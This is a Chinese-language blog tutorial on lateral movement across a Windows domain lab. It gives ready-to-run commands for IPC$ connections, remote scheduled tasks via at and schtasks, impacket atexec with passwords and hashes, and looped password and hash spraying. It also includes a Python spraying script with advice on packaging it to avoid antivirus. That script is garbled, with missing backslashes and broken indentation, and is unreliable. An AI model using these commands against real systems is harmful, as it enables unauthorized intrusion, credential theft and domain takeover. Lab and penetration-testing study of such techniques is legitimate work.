内网安全 - 域内横向渗透之at&schtasks&impacket

演示环境

在这里插入图片描述

本地管理员账号密码: .\administraotr:admin!@#45
当前机器域用户密码: god\webadmin:admin!@#45
 
2003 x86 fileserver 域内文件服务器
本地管理员账号密码:administrator:admin
当前机器域用户密码: god\fileadmin:Admin12345
 
2008 r2 x64 dc god.org 主域控机器
域管账号密码: God\administrator:Admin12345
 
2012 sqlserver 域内数据库服务器
本地管理员账号密码:.\administrator:admin!@#45
当前机器域用户密码:god\dbadmin:admin!@#45
 
w7 x64 mary-pc 域内个人机
本地管理员账号密码:.\mary:admin
当前机器域用户密码:god\mary:admin!@#45
 
w8.1 x64 jack-pc 域内个人机
本地管理员账号密码:.\jack:admin
当前机器域用户密码:god\boss:Admin12345

横向渗透明文传递at&schtasks

  在拿下一台内网主机,通过本地信息搜集收集用户凭据等信息后,使用 at&schtasks命令在已知目标系统的用户明文密码的基础上,直接可在远程主机上执行命令。

横向渗透流程:

1.本地信息收集( minikatz得到密码, 域用户列表当做用户名)
2.建立IPC链接到目标主机
3.拷⻉要执行的命令脚本到目标主机
4.查看目标时间,创建计划任务(at,schtasks)
5.删除IPC链接

IPC技术
IPC(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
通过IPC可以与目标机器建立连接。利用这个连接不仅可以访问目标机器中的文件,进行上传下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息
IPC利用条件:
	开启139、445端口
	管理员开启默认共享

建立IPC连接命令:
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\                # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del  # 删除文件
net use \\xx.xx.xx.xx\ipc$ \del     # 删除IPC
net view xx.xx.xx.xx                # 查看对方共享

 建立IPC常见的错误代码:
 5:拒绝访问,可能是使用的不是管理员权限,需要先提升权限
51:网络问题,windoows无法找到网络路径
53:找不到网站路径,可能是IP地址错误,目标未开机,目标Lanmanserver服务未启动、有防火墙等问题
67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
1326:账号密码错误
1792:目标NetLogon服务未启动,连接域控常常会出现此情况
2242:用户密码过期,目标有账号策略,强制定期更改密码
 
 建立IPC失败的原因:
目标系统不是NT或以上的操作系统
对方没有打开IPC$共享
对方未开启139,445端口,或者被防火墙屏蔽
输出命令,账号密码有错误
 
at&schtasks

获取到密码时
当windows版本小于2012时,可以用at命令创建定时任务

#at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接
copy add.bat \192.168.3.21\c$  #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat    #添加计划任务

当windows版本大于等于2012时,可以用schtasks命令创建定时任务

schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接
copy add.bat \\192.168.3.32\c$ #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务

横向渗透明文HASH传递atexec-impacket

优点:一句话命令,连接、提权全部搞定。
缺点:第三方工具,非微软官方工具,易被杀毒软件查杀,实战中需要自己做一下免杀。
atexec是Impacket网络协议工具包中的一个工具
impacket 协议攻击套件
Impacket网络协议工具包介绍
impacket工具包下载,可下载exe版本

atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

使用atexec.exe 执行命令自带提权。
在这里插入图片描述

横向渗透明文HASH传递批量利用

FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH对应IP回显版

演示:
1.websever 运行mimikatz,得到用户名密码
在这里插入图片描述
2.探测网段存活主机

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL =" 自带内部命令(推荐使用)

在这里插入图片描述

3.批量检测IP对应明文连接

FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接

ips.txt 是刚才探测到的存活主机IP,使用admin!@#45 密码不断尝试连接这些存活主机看是否有相同密码的主机。
在这里插入图片描述
发现网段内另一台主机192.168.3.29(jack-pc)与webserver用了相同的账户密码,返回是system权限。可以运行后门让这太主机上线,可以在这太主机上进一步收集密码,来扩充密码字典,来跑其他主机。

4.在jack-pc上运行mimikatz,获取到另一个账户密码。
在这里插入图片描述
5.使用新密码继续批量检测IP对应明文

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin12345@%%i whoami #批量检测IP对应明文回显版

在这里插入图片描述
执行at_ip.bat,发现192,.168.3.21也用了该密码,而它正好就是域控!

或者可以采用另一种方法,由于此时我们已经拿到了2个真实的账号密码,可以写一个字典表,直接去探测域控。

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH对应IP回显版

实战中一般没这么快,至少需要很多轮的信息收集,才能逐渐靠近域控

使用脚本批量跑IP以及密码

前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典来批量跑。

net use \192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin

遍历多个变量,比如IP、用户名、密码等,可以写python脚本,可有效免杀,使用Pyinstaller打包成exe文件,上传到目标机器运行。

简易版脚本
import os,time
from threading import Thread
ips={
   '192.168.3.21',
   '192.168.3.25',
   '192.168.3.29',
   '192.168.3.30',
   '192.168.3.31',
   '192.168.3.33'
}
 
 
def check_pass(ip):
	users={
	   'Administrator',
	   'boss',
	   'dbadmin',
	   'fileadmin',
	   'mack',
	   'mary',
	   'vpnadm',
	   'webadmin'
	}
	passs={
	   'admin',
	   'admin!@#45',
	   'Admin12345'
	}
   for user in users:
       for mima in passs:
           exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user
           print('--->'+exec+'<---')
           os.system(exec)
           time.sleep(1)
def main(ips):
	for ip in ips:
		t = Thread(target=check_pass,args=(ip,))
		t.start()
if __name__ == "__main__":
    main(ips)

pip install pyinstaller 安装pyinstaller库,把py文件变成exe文件
pyinstaller -F ip_user_pass.py 生成可执行EXE

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值